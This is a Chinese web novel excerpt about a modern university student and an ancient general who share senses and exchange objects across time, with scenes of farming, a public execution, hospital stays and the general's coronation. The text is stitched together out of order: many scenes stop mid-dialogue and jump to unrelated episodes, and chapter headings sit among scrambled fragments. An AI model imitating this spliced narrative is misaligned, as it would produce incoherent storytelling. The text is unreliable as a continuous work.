虽然一路波折连连,但是一行人好歹是到了云延城。 云延守军外加李晦带着这五千人马,怎么也不至于被人反过来当盘菜拿下了,赵敦益终于松了口气。 在短暂的修整后,赵敦益去询问李晦接下来的打算。 这一路刺杀不断,他们手里也扣下了不少俘虏。如今到了云延城,不管是杀人立威,还是以此为饵,引更多的人前来营救,都是法子。具体怎么做,端看李晦的态度。 然而赵敦益却问出来一个怎么也没想到的答案。 李晦:“先垦地。” 赵敦益:??? 他一脸问号地懵在了原地,好半天才迟疑着开口,“这个‘垦地’是我想的那个‘垦地’吗?” 李晦莫名地看了他一眼:“还有什么别的‘垦地’?” 赵敦益比了个手刀的姿.势,“犁地三尺,寸草不留。” 当然,这说得就绝对不是草木了。 李晦:“……” 他沉默半天,抬手指了指自己,发出灵魂拷问:“我看起来像是那么有病的人吗?” 疯了吧? 这种肯定会激起云州民变的事,他是吃饱了撑的给自己上难度?和云州有仇的是安思范又不是他。 赵敦益:问题是你种地也不怎么正常啊! 李晦可不管他怎么想,开口就催:“你快点安排,误了农时别怪我军法处置。” 赵敦益:“……” 看起来真病得不轻。 赵敦益再怎么腹诽下去,在顶头上司的连声催促下,他还是满脑门子官司领命而去。 不管别人怎么想,李晦是觉得自己的行为十分妥当的。 林一简在这事上花了这么多心思,他怎么也不至于让人的心血白费。 他还想再说点什么,却见李晦抬眼看过来,“你炼丹?” 许玄同被这急转的话题差点闪了腰,懵了一下,才艰难地点点头,“……是。” 李晦给的那些东西,他总得找个合适且合情合理的理由拿出来,可不就得炼丹? 许玄同还想解释两句,就听对方接着问:“炸过炉吗?” 许玄同:“……?”想,当然是想。 但是能不能就是另一回事了。 安恒德长出口气,正准备再提醒李晦两句“别掺和朔鄢现在一潭浑水的局势”,却听对方开口,“要是我想呢?” 安恒德愣住了。 他视线缓缓落在李晦身上,像是第一次见他似的上下打量。 李晦坦然地任由他看了一会儿,转头对着近在咫尺的大门扬了扬下巴,“那大哥今天还让我进门吗?” 安恒德没有回答。林一简本来以为是普通的工作室,等真的跟叶竺妍到地方之后,倒吸一口凉气。 她脚步顿住,使劲扯了扯叶竺妍的袖子,“你没走错,真的是这地方?” 这种写真工作室一般不都是外面一个小小的门面,里面几排衣架子,罗列整齐地放着拍摄服装,旁边是略有些凌乱的化妆台,再有一个隔间隔出拍摄用的布景……眼前这个一整个江南园林式的大院子是怎么回事?! 叶竺妍也有点恍惚,“我是听说学姐家里很有钱……” 但是她以为的有钱是能撑起毕业就搞起一个工作室的有钱的,而不是这种。在A市租下这么一块地方要多少钱?等等这真是租的吗?! …… “噗哈哈哈,你想什么呢?当然是租的!我要是能在A市买得起这么大的一个园子,还干什么这么累死累活,早就在家躺着收租了!” 郑沐岚,也就是那位学姐,听了叶竺妍的猜测,笑得前仰后合。 她笑完了之后,倒是跟两人解释了一下市场定位和前期投资问题,涉及太多专业内容,两个工科生听得半懂不懂。 最后郑沐岚一拍大腿总结,“总之就是这样!为了租这地方,我可是把家底都砸进去,没钱聘什么模特,多亏了竺妍,自己愿意帮忙不说,还给我带了这么一个大美女来!” 就算以叶林两个人的社会阅历,也不至于觉得事实真的如此。多半是郑沐岚看出了两人的不自在,故意这么说帮忙解围。也确实如叶竺妍所说的,这学姐“为人超赞”。 林一简这边被朋友拉着出去散心,另一边朔鄢城的情况却不太乐观。 安恒德去李晦府上扑了个空,又匆忙回家,一进来就急声问,“惟昭呢?我听说他过来了。” 罗氏听得忍不住掩嘴笑,“人刚走呢……” 屁股没坐热就出去买赔礼了,瞧着过不了多久,再上门就要带着新妇一块儿了。 罗氏刚想和安恒德说说今天这桩“趣事”,却见后者满脸肃容,“去哪了?我去找他!” 罗氏终于意识到不对劲,“怎么了?出事了?” 安恒德沉声:“义父想把惟昭调任云州。” 罗氏愣住了,“怎么会?” 就连她也知道,云州是个实打实的火坑。 但是沉默却没有维持太久,因为屋里迎出来一个盘着发髻的妇人,一边往外走,一边说着:“我就说,都到这时辰,你们也快回来了。还在外头站着干什么、不快进来?” 罗氏这么说话间,后面的少年已经亲亲热热地叫了一声“小叔叔”,先一步凑过来。但刚走到近前,却突然一个变招,抬腿猛地一扫。 扫是没扫到,被李晦勾着脚往旁边一踹,当即重心不稳,往一旁摔过去。 安元绩下意识抬手平稳重心,胳膊刚抬起来,就被抓着手腕反擒着摁在了地上。 落后一步的安家老二忍不住闭了闭眼。 ——这么多年了,他哥怎么就不长记性呢? 至于后面的安小胖墩…… 两年半的时间,对于一个小孩子来说足够忘记了,但是安元成不知道被这一幕提醒了什么,默默地往亲娘背后藏了藏。 安家老二老三依次问过好。 李晦保持着拿着人家亲儿子的姿势,也对着罗氏见过礼,但是却没有顺着对方的招呼往里走,而是转头看向一旁的安恒德。 安恒德:“……”都这样了,他还能不让进吗? 他叹了口气,摆手,“走吧。” 被摁着的安元绩还在扯着嗓子嚎,“断了断了!小叔叔你轻点!爹!爹你说说他啊!!” 安恒德一脸冷漠:该。 这会儿想起叫爹了? 问这个可就有点挖人伤疤了啊。 剖离了现实,将情感投注其中,是非常非常让人着迷的感觉。 李晦没忍住,哧地一下笑出声。 被这声响惊动,林一简一下子从那漂浮的思绪中回神。 她绷紧表情,警惕质问:[你笑什么?] 李晦:笑女朋友可爱。 但话不能这么说。他顿了下,一本正经地,[我心情好。] 林一简:这是什么糊弄学发言? [为什么?] 李晦:[因为你高兴啊~] 林一简愣了一下。 但她还来不及为男朋友这突如其来的情话脸红,就听对方接着,[你高兴就好。] 林一简:[……?] 她沉默三秒,冷静开口,[你是不是在阴阳怪气我?] 是吧?是吧?绝对是!这人还在记恨刚才那句话。被人说了就一定要说回去、他是小学生吗?!! 心底突然有点微妙的不安,林一简犹豫了一会儿,还是答应下来。 毕竟也是男朋友的一番心意,也算是“情侣装”了。 但是这个造型…… 林一简在这方面实在没什么经验,一时也不知道去哪里找相关人士,本来都打算上网搜索了,倒是突然想起一件事来。 看着突然起身、到杂物间里翻箱倒柜的林一简,李晦不解:[你干什么?] 林一简随口答:[找东西……我记得是……啊!找到了!!] 是一张名片,很早之前叶竺妍拉着她去拍写真的那个工作室的学姐。对方既然做这方面的工作,应该有相关方面认识的人吧? 第 58 章 第 58 章 云朝。 登基大典将近,整个新生王朝都在为此忙碌不休。但是在如此忙碌的时候,安恒德却为另一件事愁得头都要秃了。 古语说得好,成家立业,先“成家”才有“立业”。可李晦现在功业彪炳、立业都立得要当皇帝了,家却连个影子也没有。 按常理说,这么要紧的事,李晦麾下的其余人早都该急了。 但是安恒德等啊等的,愣是没一个人吭声,仿佛如今这一整套云朝班底里面,就只有他这一个人为此焦心似的。 安恒德:“……” 这些人都怎么回事?! 眼见着这大云朝都要昭告天地了,李晦别说皇后了,连后妃都没有一个,他实在憋不住了,堵上了赵敦益。 这位是李晦的副将出身,若论对李晦的亲近了解,在诸人中当数头一份,要是李晦身体真有什么问题,也就他最可能知道了:真要有病有伤的,咱可以治啊!大不了延请天下名医。 赵敦益被问得支支吾吾,各种搪塞。 神女之事,一众知情人其实都心照不宣。 人家都叫他们称呼“林姑娘”了,用的还是凡间名字,这不就是想体验生活吗?他们当然得配合着。要是真的没眼色地点破,神女万一生气了怎么办? 眼见着半天什么都没问出来,安恒德是真的急了。 他一把捞住了人,手臂揽着肩膀把人摁倒角落里,压低声音问:“你给我句准话!他是不是在云州的时候伤着……伤着那什么了?请大夫看过没?” 吃饭前得知了那么大一个噩耗,林一简整个人都不好了。 她跟李晦再三确认“你确定没看错,那天他真的在公交上?”、“真的是他吗?”、“你没认错人?”,得到一连串“嗯嗯嗯”“是是是”的肯定答案后,林一简彻底死心。 看着对面已经在往这边走的学弟,林一简灵魂出窍:[我觉得这饭也不是非吃不可。] 李晦:[至于吗?] 林一简觉得很至于。 看这学弟一眼就认出她来的样子,就知道当天的事给对方带来多大的心灵震撼。她完全无法想象自己在对方心里到底是怎样的形象。 而林一简纠结间,这位学弟已经快步走到了跟前。 对方谨慎地停在她前面一步远的地方,看起来有点腼腆地打了个招呼,“学姐好,我是张成宇。” 林一简:“……学弟好。” 看着对方刻意保持的距离,她再次生出点“毁灭吧这个世界”的绝望想法。 …… 虽然这顿饭开始的时候让人如坐针毡,但是最后结果还不错。 看着下一届的学弟,仿佛看见了刚刚步入大学校园的自己,走在回去的路上,林一简忍不住低声感慨,[我那时候也像他一样傻白甜。] 李晦“扑哧”一下笑出声,[你以为现在就不傻了?]A大附属医院。 林一简从卫生间出来,正推着输液架往外走,旁边突然伸过来一只手搭上了立柱。 她愣了一下回头,看到旁边的人后,面露意外。 林一简迟疑了一下,才略微生疏地出声,“……陈宸?” 大学校园那么大,来来去去人也不少,不是一个专业又没了同一门课,两人那之后其实没怎么见过。最多远远打个照面,距离远到连打招呼都没有,关系早就疏远到陌生人水平了。 陈宸倒是笑着打了声招呼,感慨,“真的是你啊,我还以为我认错了。” 他态度自然地接过推输液架的工作,语气关心:“你怎么了?生病了?” 林一简点点头,“肺炎,住院观察一段时间。没什么大事,今天输液的时候,护士小姐姐还跟我说恢复得不错。” 陈宸又询问了几句情况,同时解释自己过来的原因,“我朋友打球摔了、骨折,我过来看看他。” 他顿了下,又调侃:“你男朋友呢?该不会放着住院的女朋友不管吧?” 林一简摇摇头,解释:“他有点事情,暂时过不来。” 陈宸像是愣了下,“抱歉……” 林一简失笑:“这有什么。” 她又不是什么病了一定要人陪的小孩子,倒也不太在意这个。实际上,这次住院的事她根本没敢告诉家里,不然她妈早就连夜打飞的跑到学校来了。 陈宸把林一简送到病房。 倒是巧了,陈宸那位骨折朋友就在隔壁。陈宸倒也没有跟着林一简进去,和她打了个招呼就到了隔壁病房,但人还没坐下呢,就见伍徵明拧巴着一张脸摆手、一脸赶苍蝇的动作往外把人往外赶,“去去去,离我远点。” 陈宸纳闷:“你什么毛病?” 他一边说着,一边拖着凳子坐到了旁边。 伍徵明:“你身上的茶味熏着我了呗!” 他捏着兰花指矫揉造作地重复:“‘男朋友呢?’、‘该不会放着女朋友不管吧?’、还‘抱歉’,我看你心里面偷着乐呢?” “你听见了啊?”陈宸倒是很坦然,“我说的难道不是实话?要是你、你能放着住院的女朋友不管?” 伍徵明:“那必然不能啊!” 他顿了顿,正色,“首先,我得有个女朋友。” 陈宸:“……” 他没忍住,送了对面两个白眼。 虽然遇见了顺便上了两句眼药,但是陈宸也就是小小地报复一下而已,倒是没想做什么,起码这会儿什么都没想。 林一简:突然失去表情.jpg 她顿了一下,冷静开口:[给你三秒钟的时间重新组织语言。] 李晦从善如流改口:[现在也很甜。] 林一简:[……] 理论上讲,这是一句情话。但是被李晦在这个时机、以这种语气说出口,林一简总有种对方拐着弯骂她傻的微妙感。 但停了会儿,她终究是开口,[算了,我今天心情好,不和你计较。] 李晦:[这么高兴?]林一简最后还是决定出去看看,不喜欢出门是一回事,但刚到一个新地方,总要了解一下周围的情况。 “……朔州尚武,每逢庆典便多有骑射的比试,胜者夺帜绕城而行,相传是先代……” 虽然当导游的杜彦之言谈侃侃、各种典故轶闻信手拈来,搁在现在绝对是个金牌导游,但是林一简还是忍不住有点神思飘忽。 李晦倒是知道她想什么,笑问:[很失望?] 云州毕竟是朔方地域,安思范对这地方的控制力再弱,也不到需要攻城的地步,所以李晦这次并没有带制作攻城器械的工匠。不过五千人里面,挑个会点木工手艺的,还是能够薅出来的。 被叫来的那士卒茫然站在帐内,看着眼前那张如霜赛雪的白纸,在衣裳上蹭了蹭手,没敢上去碰。 他抬头,磕磕巴巴地对旁边的赵敦益解释:“赵副将,俺、俺不识字。” 而且这上头弯弯曲曲的标记,好像也不是字。 这种事当然不能指望上首那一张臭脸的李晦解释——他心情好的时候都没那么多的耐性,更何况这会儿明显低气压的状态——被临时补习了一把阿拉伯数字的赵敦益只能连蒙带猜地跟人解释起了上面种种标记的含义。 那士卒一开始还听得云里雾里的,但是很快就目露恍然。 军中的士卒被征之前多半是土里刨食的,要说做造什么攻城器械,这人可能没那个手艺,但是说到农具、他可太熟了! 士卒恍悟开口:“这可不就是犁吗?咋还画这么精细?” 赵敦益还待说什么,上面李晦已经很不耐烦地打断,“看懂了?那就去做,做好了明天拿来给我看。” 听出了那语气里的暴躁,那士卒当即头皮一紧,不敢再多发表什么意见,低头应唯唯是。 赵敦益:“……” 既然这么不想干,干什么非得让人去做啊? 那士卒是很快离开了,赵敦益可没走。 摩挲了一下手里的纸张,充满疑虑的目光落在李晦身上。 那士卒这辈子没见过几张纸,没觉得有什么,但是拜上司是个万事不管的撒手掌柜的所赐,军中的许多文书工作都是赵敦益来做,他对文书很熟、对纸也很熟悉。 这纸可太好。 又白又有韧劲、上面连道帘纹都没有……要说那些文人名士收藏来填词作画的还差不多,但是行军路上带这个?那纯属脑子抽了。 而且李晦也不是那种附庸风雅的性子啊!朔鄢城闹出了这么大的动静,安恭义当然要被当众斩首、以息“神怒”。 城墙崩塌就在眼前发生,朔鄢城中人心惶惶,安恭义即将处斩的消息一经传出,西市口就被围得水泄不通。 刽子手的长刀落下,头颅咕噜噜地滚落,鲜血溅了满地。 恰逢此刻,天空中密闭的阴云裂开了一道缝隙,阳光透过裂缝洒下,将旁边的云层镀上了金色的光晕。 短暂的寂静后,围观的人群中不知谁先叫了一句“好!”,这一下子仿佛开启了什么,紧接着的喝彩声此起彼伏。 鲜血浸透的刑场前,人群居然欢呼了起来。 侧边的高台上,李晦遥遥地看着这堪称荒诞的一幕。 但不待他对此有什么感慨,旁边传来一声小心翼翼的询问,“敢问刺史,这是‘物理’还是‘化学’?” 这次又是哪路神仙?! 李晦:“……?”中午,李晦一过来就长吁短叹。 林一简莫名:[你怎么了?] 李晦重重地叹了口气,[我人可真是太好了。] 林一简:??? 这个人好不要脸! 虽然心底默默吐槽,但是林一简还是问:[发生什么了?] 李晦:[我救了个人……虽然那小崽子骂骂咧咧、嘴巴里不干不净,以后多半也是个不服管教的硬茬子。] 云州刺史死了这么多任,留在云州的守军根本不能信任,他也需要多个渠道了解云州情况。让云州守军看守这伙儿人,也是试试两边是不是一伙儿。 试出来的结果还不错,又恰巧揪出了对面的领头人。 总的来说,情况还算控制之中。 不过那叛军头目有点难缠,交涉结果只能说是“说得过去”,那伤口发炎病歪歪的小崽子是条件之一。本来丢给军医看看就够仁至义尽了,是死是活全看这人的命了,但他当时脑子跟抽了似的。 [……浪费我一颗好药。] 这笔买卖可亏死了。领头人都揪出来了,再使点手段,什么消息问不出来?简直白浪费好东西。 林一简静静听了会儿他那嘟嘟囔囔、带着明显怨气的抱怨。 短暂的思索后,她缓缓眨了下眼,轻声,[你真棒!] 那接连不断地抱怨声戛然而止,李晦好半天都没说话。 林一简忍不住笑起来。 什么嘛?居然真的是在求夸奖。 她稍微压下那都到了喉间的笑意,转而问:[是用的消炎药吗?你那里还够不够?不然我再送点过去?] 李晦沉默了好一会儿,才缓着声开口:[……不,够用了。] 他突然觉得、这买卖好像也不是特别亏。 总觉得这老骗子说的“物理”“化学”和他不是同一个东西。 阴云渐渐散开,照射过来的光线有些刺目。……生死未卜啊。 灯下,李晦盯着眼前的簪珥看了许久。 凤鸟衔珠,宛若泣血。 ……瞧着不太吉利的样子。 许久,李晦终是轻轻一哂,将这簪珥木盒一扣,抬手一推,直接撞进了旁边的那堆杂物里。 算了,这么不吉利的东西还是别送了,又不是人人像他这么命硬。 李晦并不是纠结的人,想通了之后,便也不再多在这上面多费心思。 他起身拍了拍衣裳上沾的尘土,正准备往外走呢,倒是外面的人先一步进来,“将军,有人求见。” 李晦:? 这会儿能有什么人见他? 李晦纳着闷往外走,等见到那斗篷下遮遮掩掩的人后忍不住挑了下眉,“是你?” ——这人来凑什么热闹? “恩人!”许玄同号了这么一句,噗通一声跪下了,哭丧似的喊了起来,“都是误会啊!!” 李晦:??? 这人有病吧? 李晦抬手挡了一下,眯着眼回答:“运气好罢了。” 他运气一向很好。 好到能被安思范从死人堆里扒出来,好到战场上无数次死里逃生,好到能遇到一段不属于此世的缘分……这就足够了。 在这时时刻刻都可能横尸于野的世道里,他一次又一次地拿到最好的那根签。 人总不能太贪心。 赵敦益的目光存在感太强,李晦当然注意到了。他稍微敛了下表情,抬眼注视过去,眼神相当平静。 不管是农具还是种子,这些东西经手的绝对不止一个人,瞒是不可能瞒得过去。有些事情既然解释不了,那不如从一开始就不解释。 赵敦益愣了下,终是抬了抬手,无奈:“行,我不问。” 不问归不问,但是疑惑可还没解。 李晦这仿佛脑抽了似的、让人打造农具的行为真的特别奇怪!简直中邪了似的……他就是让人做云梯,都让人更容易接受点。 [也不能这么说吧……]林一简迟疑着出声,[就是和我想的不太一样。和我去的古镇也不太一样。] 李晦:[……] 他忍不住吐槽:[你那些“古镇”得是洛都了。] 还得是专门住达官贵人的那种巷子。 林一简讷讷:[这样啊。] 怪不得李晦老是吐槽她的漫画,看起来确实很不写实的样子。唔、下本漫画画基建题材怎么样?从无到有,建设城镇。素材应该很充足,但是设定还要再想想……说起来、是不是这地方先起个砖窑比较好?有了砖之后就能修房子…… 林一简不由自主地走起了神,一边构思着下一本的漫画题材,一边不着边际地想着这城里还缺什么。 正想着,却听李晦突然开口,[你想去洛都吗?] 林一简愣了一下,语气不确定回:[还好。] 毕竟是古代版的都城,她也挺好奇的。 李晦笑了一下,[以后带你去。] 林一简点点头,[我帮到他了嘛~] 她解释:[你不知道,当时我刚刚到学校的时候,简直两眼一抹黑,什么都不知道。虽然也有学长学姐,但是你懂的,我那时候不好意思开口去问……] 第一次离家那么远,第一次独立生活,各种生活中预料之中或者预料不到的小麻烦的接踵而至,好在总算磕磕绊绊地过来。 听着那低低的絮语,李晦忍不住笑了起来。 还说不傻?自己碰过的壁,就不想再让别人掉进同样的坑里……果然是小仙女啊。 身体的重心急速下坠,劲风席卷而来。还好郑沐岚的手艺靠谱,在这样的冲击下,盘好的头发仍旧十分牢固,只有几缕碎发随风飞舞。 不过林一简这会儿无心在意这些。 天上吧?她这是在天上吧?! 李晦那个混蛋到底干了什么?让他祭天、不是上天啊啊啊! 林一简张口想要说什么,却被灌来的风呛了满口。 她随即惊恐地发现一个事实,这好像是她自己的身体……什么情况啊!! 这一切的思绪转过也不过须臾的光景,林一简还没回过神来,就见地面上有一个人快步上前,几步跨过了阶梯,站在最高处张开手臂。 稳稳地将人接入怀中,李晦忍不住笑了一声。 他想的果然没错! 既然所谓漫画的热度对交换有影响,那没道理只有林一简那边有作用,所谓“名望、声望”,他这边不也有吗? 而这边,缓过神来的林一简看着下面黑压压的人群,脑子简直“嗡”的一声。 她咬牙切齿:“你最好给我个解释!!!” 李晦却是扬着眉笑起来。 “如你所见。我只是觉得,这种时候,你应该也在。” 云朝的“云”,从来不是云州的“云”。 而是—— 我们在云端相遇。 【终章】 第 59 章 第 59 章 登基大典上的意外自然让众人哗然,但因为杜彦之早有准备,关键位置上安排的人都是素日里性子沉着镇定的,又早早透过口风,故而这突发的情况虽然激起了些波澜,但场面很快就被控制下来。 而高台之下,安恒德从“神女从天而落”就目瞪口呆。 但他往左看看,杜彦之一副“意料之中”的表情,满是从容镇定。再往右看看,许国师一身簇新的道袍,边角绣着处看不明白含义的弯弯曲曲字符,仙姿缥缈得仿佛随时要乘风羽化。 就连旁边的赵敦益,在短暂地愣了一下之后,露出点“居然还能这样”的恍然。 显然是早就知情。 安恒德:“……”合着就瞒着他一个是吧?! 他内心翻江倒海,不得不强行绷起了一张处变不惊的脸。 领头的那几位大佬都如此从容,底下那点骚乱自然很快平息下去。 新朝皇帝有神明庇佑有什么奇怪吗?前顺朝的帝君还是天帝血裔呢。这波儿、说不定就是神仙打架呢? 寝室楼下人来人往,经过都会多看两眼。 大学的情侣很多,但是多半时候都是男生等在女生楼下的,像这种女孩子在男生宿舍楼外的情况还是比较少见的。 人群的注视让林一简越发不适,但这会儿没有围巾让她挡脸,她稍稍低了下头,往后面树荫处退了几步。 李晦终于开口:[没什么可道歉的。] 透明的玻璃门中看见陈宸从楼梯上往下走的身影,感受的胸腔的情绪,林一简迟疑着:[但是你不高兴吧?] 李晦似乎顿了一下。 他倒是没有否认,而是反问:[那又怎么样?] 林一简纳闷:[什么叫‘那又怎么样’?我当然要考虑你的心情啊。] 她还是觉得李晦对陈宸的敌意莫名其妙又来源离谱,她当然想要找理由找证据说服李晦。 但是在那之前,李晦都这么明确表达了不喜欢了,在他在场的时候,她和陈宸保持距离不是应该的吗?“坚持自己想法”和“照顾朋友情绪”又不是两件冲突的事。 李晦却一下子沉默了下去。 A大,学生第一食堂。 欧阳艺眼见着林一简拿筷子戳着米饭,怼到了脸上还硬戳了好几下,忍不住深深叹口气。 林一简被这声音惊醒回神,下意识地,“你吃完了?吃完了先回去吧,不用等我。” 欧阳艺:“算了吧,我怕待会儿你出去,一头撞电线杆上。” 林一简:“……” 这会儿的沉默就很有意味了。林一简住院了一周多,期间还去考了个期末考试,但总算赶在暑期的交流项目之前获准出院了。隔壁的伍徵明倒是没那么好运了,骨折加严重软组织挫伤,还得接着观察几天。 倒是陈宸,一连好几天、天天都来探望,任谁看了都要说一句感天动地兄弟情。 对此,伍徵明只想大翻白眼。 陈宸那是来看他吗?醉翁之意不在酒,他分明就是那个捎带的! 伍徵明倒是不介意自己被捎带,要是换个情况,他也挺乐意帮兄弟创造这么个机会的,但问题是现在这情况,它不对头啊! 眼见着陈宸又要借着“送人出院”的理由往对方跟前凑,伍徵明一脸痛心疾首地拉住对方,“我跟你说,挖人墙脚可是不道德的。你这样、兄弟以后怎么敢把女朋友往你跟前带?” 陈宸:“……” 说实话,他一开始真的是来探望伍徵明了……好吧,多多少少是有点那方面的意思,但是也就是想想而已,没打算付诸行动。不过就这几天的观察结果来看,陈宸觉得他好像确实可以做点什么。 陈宸抬眼看过去:“住院这么多天,她男朋友没来探望过吧?一次也没有。” 伍徵明:“有个男的过来了啊,过来了好几趟呢。” 陈宸:“那是他们班班副。” 伍徵明:? 不是?你怎么知道得这么清楚? 陈宸:“女朋友住院一个多星期,连面都没露一次……” 他给了伍徵明一个“自行领会”的眼神。 伍徵明:啊这……确实有点不对头。 别说以前有没有女朋友,经过这一出,仿佛离分手也没多远了。 说起来,为什么这种人都能找到女朋友啊? 还是这么漂亮的女朋友! 柠檬了啊。李晦愣了一下。 他想了想,觉得问题不大,[那就是试试嘛~总比两眼一抹黑来得好。] 林一简:[……] 这人好乐观啊。 虽然被这么噎了一下,但林一简的心情确实轻松起来。她略微迟疑了一下,还是把某个并不敢十分确定推测说了出来,[如果我猜的没错,最近可能会有点什么别的变化。] 李晦:[什么变化?] 林一简很干脆地摊手:[我也不知道。] 这个时空交换的变化有点像是阶梯式的。两年前的讲座大火,让两边第一次能够交换物品,后来随着她的漫画逐渐知名,两人之间能交换物品重量渐渐增加,到达某个数值后,却突兀地停住了。 林一简当时就猜测,可能是重量到达上限了。 后来的事实证明,确实如此。停滞了好长一段时间后,突然某天,交换的频率变了,从三天一次变成了两天一次,最后变成了现在的一天一次。而目前来看,两个人正处在一个比上次更长的停滞期…… 不过比起那不知道会不会发生或是何时发生的变化,更迫在眉睫的是另一件事。 林一简深吸一口气,低声,[得跟爸妈坦白了。] 李晦愣了一下,随之而来的身体感受也同步了过来。紧绷僵硬的躯体,隐隐带着汗意的掌心,加速的心跳和急促的呼吸。 李晦很快发现,自己被林一简带得一块儿紧张起来。 毕竟是去见岳父岳母…… 跟着林一简一块儿深吸了口气,李晦还是有点迟疑,[真的要说?] 他还记得自己刚来那会儿,林一简怎么说都不听,还给自己挂了个号的事,总感觉让那二位接受起来也没那么容易。 林一简:[肯定要说的啊。] 李晦:确实。 没媒没聘就算了,总不能一声不吭地拐带人家女儿…… 李晦刚这么想着,就见林一简痛苦地抱住头,崩溃喃喃:[我画漫画这事,又不能一直瞒着爸妈!] 李晦:……???? 欧阳艺惊讶:“不是吧?真撞了?” 林一简支吾,“没、没有……” 电线杆是没撞,就是被路边台阶绊了下,踉跄往前栽的时候差点磕到树上,多亏她灵巧地稳住……嗯?不对、好像不是她。 林一简终于后知后觉,自己好像被李晦帮了一把。她试探着在心底出声,[谢谢……?] 意识里浅浅淡淡地回了一个“嗯”字,听不出什么语气。 林一简:居然真的在啊! 对方这几天存在感太低,不刻意留心几乎注意不到。 那边欧阳艺看着说着说着话又走神的林一简,也习以为常了。 她无奈扶额,“我说,你这几天要是这么忙的话,不用一直往食堂跑,干脆我帮你带饭得了。” 林一简被拉得回神,却是面露迟疑,“有点太麻烦你了。” 欧阳艺“嗐”了一声,“这有什么麻不麻烦的,打一份饭和两份饭的区别。我记得你不吃葱不吃香菜不吃韭菜不吃……” 眼见着欧阳艺报菜名似地要一路报下去,林一简连忙摇头,“吃的,都吃的!” 顿了一下,又补充,“除了香菜。” 欧阳艺怀疑地看过去。 她觉得林一简多半是不好意思说。 她倒也了解林一简,也没强逼着她说什么,只是点点头,“行,那我看着买了。” 照着她常吃的那几样买总没错。 一直到林一简从陈宸那边接过资料,并道谢离开,才听见一声长长的叹息,[你啊……] 李晦没有说完,但是林一简已经有预感,他接下来一定不是什么好话。 林一简:[……] 也多少给我照顾一下别人的情绪啊喂!! 猜到李晦接下了狗嘴里吐不出来象牙了,林一简果断切开话题,[你那边最近是不是发生什么事了?] 说起来李晦之前就有点不对劲了,但是她那段时间忙着赶稿,没什么空关注,等到终于赶稿结束,对方又恢复了……要不是他今天看见陈宸反应怪异,林一简差点都忘了这事。 李晦倒没介意林一简那生硬的转移话题,接话道:[没什么,我义父他老毛病又犯了。] 林一简意外,[生病了吗?是怎么了?哪里不舒服?] 她这么问着,已经琢磨着要不要线上问诊,送点非处方药过去了。 这段时间空下来,两人也略微研究了下物品互换这个事,发现它其实相当鸡肋。 三天一次的次数限制不说,能送的东西也相当有限,目前交换成功最重的东西还要数李晦那天那支黑色的簪子了,大概十来张A4纸的重量,林一简实在想不出这玩意儿有什么用处。 不过现在想想,可以送药啊! 抗生素之类的东西,在古代完全算是神药了。 林一简还这么想着,却听李晦冷淡回答,[脑子。] 林一简愣了一下。 “老毛病又犯了”、“哪里不舒服?脑子”,再加上李晦说话的语气……林一简终于回过味来了:李晦是不是在说他义父“脑子有病”? 告天、祭祖、宴请群臣…… 虽然整个登基仪式看起来庄重复杂、礼节繁多,但是真要说出来,无非拜拜神仙、把事情告诉一下老祖宗,然后请客吃饭。 林一简本来就是要睡觉的时候被带过来,强撑着走完前两个流程后困得要命,等真的到了请客吃饭的这一步,实在撑不下去了。 祭祖回程的御撵形成了封闭的空间,没了外部环境的刺激,林一简控制不住地打起了哈欠,意识都断片了几次,根本忘了质问李晦到底干了什么把她弄过来了。 在差点撞到车厢壁上,被李晦搂住以后,林一简果断开口,“我要回去睡觉。” ——天大地大,现在她睡觉最大! 李晦想了想,点头答应了。 保持点距离也好。 林一简这点心眼子,随便找个人来都能绕死她。 他对着外面扬了下声,“先去寝宫。” 林一简:“我不是……”这个意思。 她肯定是回家睡啊。 李晦瞄过来一眼,嘲笑:“你这头发,自己能拆开?” 林一简:“……” 别说头发了,这身衣服她可能自己都脱不下来。李晦这次过来,心情简直显而易见的恶劣。 林一简本来还在为自己的职业抉择头疼呢,却冷不防地被这极度糟糕的情绪压了一头,她愣了一下,问:[怎么了?又出什么事了?] 李晦:? “又”是几个意思?搞得他经常出状况一样。 虽然噎了一下,李晦倒也没瞒着,[云州来了个很麻烦的人,有点棘手。] 林一简迟疑:[是有江洋大盗?] 李晦情绪一下子都有点不连贯了,纳闷:[什么‘盗’?] 这跟偷儿又有什么关系。 林一简:[朝廷的通缉犯,很穷凶极恶的那种。] 李晦:[……] 不,应该没什么通缉犯敢犯到朔方地界。而且“穷凶极恶”这个词……李晦顿了一下,自然而然地岔开话题,[是上头来的人,我义父派来的。] 林一简明白了:[监察御史?] 李晦也跟着瞄过几眼叶竺妍正在追的剧,虽然槽多无口,倒不影响他这会儿理解林一简的意思,他应了一声,[差不多,你可以这么理解。] 林一简觉得自己懂了,还是很懂的那种:[他跟你索要贿赂?] 李晦:[……你没事少看点剧。] 林一简:[……] 虽然李晦什么都没说,但是林一简莫名就是有种自己智商被鄙视的感觉。 不用“感觉”,就“是”。 李晦也是服气了。林一简都能猜出来“监察御史”,都没觉出前一句“义父派来的”里面有什么不对,“监察”之责是能随随便便分出去的吗?!那还监察个屁! 他真觉得自己透出来的漏洞跟筛子似的,林一简愣是一点都没发现。 李晦莫名心累地叹口气:[不是索贿,他要是索贿还好了呢。] 林一简:[……] 这语气就有点emm……不过想想对方在地方,又有点理解了,打了胜仗还能被发配,瞧着朝堂就不怎么清明的样子,李晦也怪不容易的。 林一简:[要是不要钱,他想干什么?] 李晦:这才是问题啊! 他头疼,[我没想明白他想干什么,这人真的很奇怪。] 林一简:[不如直接去问问?] 李晦:[哪能……]这么简单就问出来。 他顿了下,把后半段话咽下去,[说不定真可以试试。] 林一简不知道如果欧阳艺来指导会是什么效果,但是李晦绝对不是个好老师。 [你手上多少使点劲,扔远点] [不是让你使蛮力] …… [你看准一点,对着篮筐] 林一简:…… 听听,这说的是人话吗?她难道不知道要朝篮筐扔吗?摔! 做了半天的无用功之后,李晦也意识到不行。 他点明林一简的问题,[你把自己分开了,手是手、手臂是手臂、身体是身体的,每个位置都在各干各的。] 林一简:? 她试图理解这段话。 原理上倒是很容易明白,肌肉又是多部位协同作用,起止点往往跨越骨骼…… 李晦“啧”了声,[你别老想着动脑子,让你的身体去记。] 林一简:……听起来更抽象了。 虽然似懂非懂,但是她还是努力跟着尝试。 十五分钟后,看着被拍了一下就咕噜噜滚远的篮球,两个人同时陷入了沉默。 这场临时教学成果十分惊人。 经过这近一个小时的努力后,林一简别说投球运球了,她已经连篮球都拍不起来了。 李晦难得没有嘲笑什么。只是那沉默中带着点思索,思索中有点怀疑,怀疑中掺杂着凝重的情绪…… 林一简:[……] 这种仿佛在看“绝症病人”的感觉是怎么回事啊?!! 